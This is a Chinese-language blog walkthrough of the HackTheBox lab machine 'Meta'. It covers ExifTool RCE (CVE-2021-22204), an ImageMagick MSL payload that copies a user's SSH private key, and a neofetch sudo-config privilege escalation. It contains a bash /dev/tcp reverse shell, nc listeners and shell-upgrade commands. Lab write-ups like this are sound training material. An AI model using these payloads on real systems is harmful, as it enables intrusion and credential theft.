banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

hackthebox靶場 meta 過程記錄

0x01 前言#

image

靶機 ip:10.10.11.140。
本機 ip:10.10.16.6,mac m1。

0x02 信息收集#

端口掃描只開放了 22、80 端口。

image

訪問 10.10.11.140 的 80 端口,直接跳轉到http://artcorp.htb/,但此時無法訪問,設置 hosts 看看,設置完之後訪問。

image

gobuster vhost -u artcorp.htb -w /Users/grayash/pentesting/web-basic/p12-字典收集/SecLists/Discovery/DNS/subdomains-top1million-110000.txt

image

image

訪問 metaview,有一個文件上傳點。

image

隨意上傳一張圖片試試。

image

通過簡單的信息搜集,發現上述圖片是 exiftools 解析後的內容。

image

0x03 漏洞利用#

這個地方可以 rce,cve 編號是 CVE-2021-22204。

exp:

Github Repo not found

The embedded github repo could not be found…

由於 mac 上這個漏洞復現不好安裝復現需要的 exiftool 工具,所以切換到 kali 上操作。

kali 的 ip 是:10.10.14.14。

exp 中的 ip 設置成 kali 的 ip。

image

運行 exp 文件,生成 image.jpg。

image

kali 上開啟監聽。

nc -nlvp 9090

訪問http://dev01.artcorp.htb/metaview/,然後上傳上面生成的 image.jpg,成功反彈會 shell。

image

交互式終端設置。

python3 -c "import pty;pty.spawn('/bin/bash')"
script /dev/null -c bash
ctrl+z
stty raw -echo; fg
reset
xterm

0x04 提權#

當前權限 www-data,無權限查看 user.txt 文件。

image

find / -perm -4000 -type f 2>/dev/null

image

pspy64 查看系統上運行的進程,發現一個 sh 腳本 convert_images.sh,看看這個腳本是什麼內容。

image

內容如下:

image

mogrify 命令的功能是按規定尺寸製作一個圖像,模糊,裁剪,抖動等。Mogrify 改寫最初的圖像文件然後寫到一個不同的圖像文件。

參考這篇文章:

https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html

<image authenticate='ff" `echo $(cat /home/thomas/.ssh/id_rsa)> /dev/shm/key`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="msl:poc.svg" height="100" width="100"/>
  </svg>
</image>

image

將這個 ssh 密鑰放到 kali 家目錄下的.ssh 目錄下,文件名為 id_rsa,需要注意 id_rsa 的格式不能有空格且文件的權限為 400。

然後通過 id_rsa 證書 ssh 登錄,獲取 user.txt。

ssh -i id_rsa [email protected]

接下來,提權到 root 權限。

直接 sudo -l 走起,發現其有權限執行下面的命令。

image

(root) NOPASSWD: /usr/bin/neofetch \"\"

運行 neofetch 命令,效果如下:

image

通過https://gtfobins.github.io/#neo 這個網站知道,如果該文件運行以 sudo 權限運行,那麼就可以利用 sudo 來進行提權。

image

再一次查看 sudo -l 的配置文件,有一個環境變量 XDG_CONFIG_HOME,我們可以利用當 neofetch 讀取環境變量的配置文件的時候,在配置文件中寫入反彈 shell 的代碼,當 neofetch 程序執行時,反彈 shell。

image

具體操作如下:

1、先準備一個反彈 shell 的腳本。

bash -c 'exec bash -i &>/dev/tcp/10.10.14.14/1234 <&1'

2、寫入 /home/thomas/.config/neofetch/config.conf 的頭部。

image

3、導入環境變量

export XDG_CONFIG_HOME="$HOME/.config"

4、nc 監聽

nc -nlvp 1234

5、執行 neofetch。

sudo -u root /usr/bin/neofetch \"\"

成功反彈回 shell,獲取到 root.txt。

0x05 總結#

1、找了半天的 CVE-2021-22204 的靶機,都沒能找到,有幾個 docker 的還沒搭建起來,剛好學習了如何利用 CVE-2021-22204 漏洞。
2、了解了通過 ImageMagick 進行權限提升。

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。